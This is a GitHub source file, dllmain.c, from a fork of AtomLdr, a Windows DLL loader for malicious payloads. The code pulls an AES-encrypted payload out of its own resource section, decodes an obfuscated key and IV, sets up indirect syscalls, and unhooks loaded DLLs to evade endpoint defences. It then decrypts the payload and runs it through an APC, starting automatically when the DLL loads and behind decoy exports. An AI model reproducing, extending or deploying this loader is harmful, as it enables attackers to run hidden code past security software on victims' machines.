forked from NUL0x4C/AtomLdr
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdllmain.c
345 lines (270 loc) · 9.36 KB
/
dllmain.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
#include <Windows.h>
#include <shlobj.h>
#include "Structs.h"
#include "Common.h"
#include "HellsHall.h"
#include "Resource.h"
#include "ctaes.h"
#include "Debug.h"
#pragma comment (lib, "shell32.lib")
// comment to disable unhooking (not advised) - use for debugging purposes only
//
#define UNHOOK
// 'win32u.dll' contains the ROPs to jump to later
HRESULT AddWin32uToIat() {
// 'SHGetFolderPathW' is exported from 'shell32.dll', that will load 'win32u.dll'
// so, instead of loading 'win32u.dll' directly, we simply use one of shell32.dll's APIs
// forcing 'win32u.dll' to be loaded without the need of calling 'LoadLibrary' or 'LdrLoadDll'
// other dlls that will load 'win32u.dll', are 'ole32.dll' and 'comctl32.dll'
WCHAR szPath[MAX_PATH] = { 0 };
return SHGetFolderPathW(NULL, CSIDL_MYVIDEO, NULL, NULL, szPath);
}
/*
fetch payload from the resource section manually
*/
BOOL GetResourceData(HMODULE hModule, WORD ResourceId, PVOID* ppResourceRawData, PDWORD psResourceDataSize) {
CHAR* pBaseAddr = (CHAR*)hModule;
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBaseAddr;
PIMAGE_NT_HEADERS pImgNTHdr = (PIMAGE_NT_HEADERS)(pBaseAddr + pImgDosHdr->e_lfanew);
PIMAGE_OPTIONAL_HEADER pImgOptionalHdr = (PIMAGE_OPTIONAL_HEADER)&pImgNTHdr->OptionalHeader;
PIMAGE_DATA_DIRECTORY pDataDir = (PIMAGE_DATA_DIRECTORY)&pImgOptionalHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE];
PIMAGE_RESOURCE_DIRECTORY pResourceDir = NULL, pResourceDir2 = NULL, pResourceDir3 = NULL;
PIMAGE_RESOURCE_DIRECTORY_ENTRY pResourceEntry = NULL, pResourceEntry2 = NULL, pResourceEntry3 = NULL;
PIMAGE_RESOURCE_DATA_ENTRY pResource = NULL;
pResourceDir = (PIMAGE_RESOURCE_DIRECTORY)(pBaseAddr + pDataDir->VirtualAddress);
pResourceEntry = (IMAGE_RESOURCE_DIRECTORY_ENTRY*)(pResourceDir + 1);
for (size_t i = 0; i < (pResourceDir->NumberOfNamedEntries + pResourceDir->NumberOfIdEntries); i++) {
if (pResourceEntry[i].DataIsDirectory == 0)
break;
pResourceDir2 = (PIMAGE_RESOURCE_DIRECTORY)(pBaseAddr + pDataDir->VirtualAddress + (pResourceEntry[i].OffsetToDirectory & 0x7FFFFFFF));
pResourceEntry2 = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResourceDir2 + 1);
if (pResourceEntry2->DataIsDirectory == 1 && pResourceEntry2->Id == ResourceId) {
pResourceDir3 = (PIMAGE_RESOURCE_DIRECTORY)(pBaseAddr + pDataDir->VirtualAddress + (pResourceEntry2->OffsetToDirectory & 0x7FFFFFFF));
pResourceEntry3 = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResourceDir3 + 1);
pResource = (PIMAGE_RESOURCE_DATA_ENTRY)(pBaseAddr + pDataDir->VirtualAddress + (pResourceEntry3->OffsetToData & 0x7FFFFFFF));
*ppResourceRawData = (PVOID)(pBaseAddr + (pResource->OffsetToData));
*psResourceDataSize = pResource->Size;
break;
}
}
if (*ppResourceRawData != NULL && *psResourceDataSize != NULL)
return TRUE;
return FALSE;
}
/*
function to decrypt the aes key and iv
*/
VOID FetchAesKetAndIv(IN OUT PBYTE ctAesKey, IN OUT PBYTE ctAesIv) {
for (int i = 0; i < IV_SIZE; i++) {
ctAesIv[i] -= 0x03;
}
for (int i = 0; i < KEY_SIZE; i++) {
ctAesKey[i] -= 0x03;
}
for (int i = 0; i < IV_SIZE; i++) {
ctAesIv[i] ^= (BYTE)ctAesKey[0];
}
for (int i = 1; i < KEY_SIZE; i++) {
for (int j = 0; j < IV_SIZE; j++) {
ctAesKey[i] ^= (BYTE)ctAesIv[j];
}
}
}
/*
function used to brute force AtomLdr.dll's handle
*/
HMODULE hGetCurrentModuleHandle(PVOID pLocalFunction) {
ULONG_PTR uFunctionPntr = (ULONG_PTR)pLocalFunction;
PIMAGE_DOS_HEADER pImgDosHdr = NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
do {
pImgDosHdr = (PIMAGE_DOS_HEADER)uFunctionPntr;
if ((pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE))
{
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uFunctionPntr + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE && (pImgNtHdrs->OptionalHeader.Magic & IMAGE_NT_OPTIONAL_HDR64_MAGIC))
return (HMODULE)uFunctionPntr;
}
uFunctionPntr--;
} while (1);
return NULL;
}
/*
function that contains the real loader logic
*/
int ActualMain() {
PVOID pResourceRawData = NULL;
DWORD dwResourceDataSize = NULL,
dwptPayloadSize = NULL;
PVOID ctPayload = NULL,
ptPayload = NULL,
pAddress = NULL;
HMODULE hModule = NULL;
BYTE ctAesKey[KEY_SIZE] = { 0 };
BYTE ctAesIv[IV_SIZE] = { 0 };
AES256_CBC_ctx CtAesCtx = { 0 };
// make sure 'win32u.dll' is loaded
AddWin32uToIat();
// get the 'AtomLdr.dll' dll handle
if ((hModule = hGetCurrentModuleHandle(&ActualMain)) == NULL) {
#ifdef DEBUG
PRINTA("[!] hGetCurrentModuleHandle To Fetch AtomLdr.dll Handle (main.c:151)\n");
#endif // DEBUG
goto _EndOfFunction;
}
if (!GetResourceData(hModule, ATOMLDR_PAYLOAD, &pResourceRawData, &dwResourceDataSize)) {
#ifdef DEBUG
PRINTA("[!] GetResourceData Failed To Fetch Resource Section Payload Of Id 0x%0.8X From Module 0x%p (main.c:158)\n", ATOMLDR_PAYLOAD, hModule);
#endif // DEBUG
goto _EndOfFunction;
}
ctPayload = (PVOID)((ULONG_PTR)pResourceRawData + KEY_SIZE + IV_SIZE);
dwptPayloadSize = dwResourceDataSize - (KEY_SIZE + IV_SIZE);
#ifdef DEBUG
PRINTA("[+] Payload Is At 0x%p Of Size %d \n", ctPayload, dwptPayloadSize);
#endif // DEBUG
// get the aes key & iv from the resource section
_memcpy(ctAesKey, pResourceRawData, KEY_SIZE);
_memcpy(ctAesIv, (PVOID)((ULONG_PTR)pResourceRawData + KEY_SIZE), IV_SIZE);
// initialize indirect syscalls
if (!IntizlizeIndirectSyscalls()) {
#ifdef DEBUG
PRINTA("[!] IntizlizeIndirectSyscalls Failed (main.c:177)\n");
#endif // DEBUG
goto _EndOfFunction;
}
// fetch other syscalls/winapi with GetProcAddressH and GetModuleHandleH
if (!InitializeDirectCalls()) {
#ifdef DEBUG
PRINTA("[!] InitializeDirectCalls Failed (main.c:185)\n");
#endif // DEBUG
goto _EndOfFunction;
}
// unhook dlls from local process
#ifdef UNHOOK
if (!RefreshAllDlls()) {
#ifdef DEBUG
PRINTA("[!] RefreshAllDlls Failed (main.c:194)\n");
#endif // DEBUG
goto _EndOfFunction;
}
#endif // UNHOOK
// decrypt the key and iv
FetchAesKetAndIv(ctAesKey, ctAesIv);
#ifdef DEBUG
PRINTA(">>> The Decrypted Key Bytes: [ ");
for (size_t i = 0; i < KEY_SIZE; i++)
PRINTA("%02X ", ctAesKey[i]);
PRINTA("]\n");
PRINTA(">>> The Decrypted Iv Bytes: [ ");
for (size_t i = 0; i < IV_SIZE; i++)
PRINTA("%02X ", ctAesIv[i]);
PRINTA("]\n");
#endif // DEBUG
// AES payload decryption
AES256_CBC_init(&CtAesCtx, ctAesKey, ctAesIv);
if (!AES256_CBC_decrypt(&CtAesCtx, ctPayload, dwptPayloadSize, &ptPayload)) {
#ifdef DEBUG
PRINTA("[!] AES256_CBC_decrypt Failed (main.c:219)\n");
#endif // DEBUG
goto _EndOfFunction;
}
#ifdef DEBUG
PRINTA("[+] Decrypted Payload At : 0x%p \n", ptPayload);
#endif // DEBUG
// write the payload
if (!NtApcWrite(ptPayload, dwptPayloadSize, &pAddress)) {
#ifdef DEBUG
PRINTA("[!] NtApcWrite Failed (main.c:231)\n");
#endif // DEBUG
goto _EndOfFunction;
}
// free the decrypted payload (allocated by 'AES256_CBC_decrypt')
HeapFree(GetProcessHeap(), 0, ptPayload);
#ifdef DEBUG
MessageBoxA(NULL, "Payload Will Be Executed", "AtomLdr", MB_OK | MB_ICONEXCLAMATION);
#endif // DEBUG
// running payload
if (!RunViaNtApc(pAddress)) {
#ifdef DEBUG
PRINTA("[!] RunViaNtApc Failed (main.c:246)\n");
#endif // DEBUG
goto _EndOfFunction;
}
_EndOfFunction:
#ifdef DEBUG
switch (MessageBoxA(NULL, "Free Debug Console ?", "AtomLdr", MB_OKCANCEL | MB_ICONQUESTION)) {
case IDOK: {
FreeConsole();
break;
}
default: {
break;
}
}
#endif // DEBUG
return 0;
}
/*
AtomLdr.dll's entry point
*/
BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved){
switch (dwReason){
case DLL_PROCESS_ATTACH: {
BOOL _Atom = FALSE;
int _argc = 0;
LPWSTR* _argv = CommandLineToArgvW(GetCommandLineW(), &_argc);
for (int i = 0; i < _argc; i++) {
if (HASHb(_argv[i]) == Atom_CRC32b) {
_Atom = TRUE;
break;
}
}
if (!_Atom) {
#ifdef DEBUG
PRINTA("[#] AtomLdr.dll Is Loaded Into A Process, Running \"ActualMain\" From DllMain \n");
#endif // DEBUG
if (!CreateThread(NULL, NULL, ActualMain, NULL, NULL, NULL)) {
#ifdef DEBUG
MessageBoxA(NULL, "Failed Running CreateThread WinAPI (main.c:293)", "AtomLdr", MB_OK | MB_ICONERROR);
#endif // DEBUG
return FALSE;
}
}
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// the exported function 'Atom' to be called from the command line
__declspec(dllexport) int Atom() {
#ifdef DEBUG
PRINTA("[#] AtomLdr.dll Is Called Via Command Line Tool, Running \"ActualMain\" From The Exported Function \"Atom\" \n");
#endif // DEBUG
return ActualMain();
}
// the following are dummy exported functions
__declspec(dllexport) int AtomSystemInstaller() {
return 0;
}
__declspec(dllexport) int AtomHelper() {
return 0;
}
__declspec(dllexport) int InitializeAtomSystem() {
return 0;
}
// REPLACING MEMSET
extern void* __cdecl memset(void*, int, size_t);
#pragma intrinsic(memset)
#pragma function(memset)
void* __cdecl memset(void* pTarget, int value, size_t cbTarget) {
unsigned char* p = (unsigned char*)pTarget;
while (cbTarget-- > 0) {
*p++ = (unsigned char)value;
}
return pTarget;
}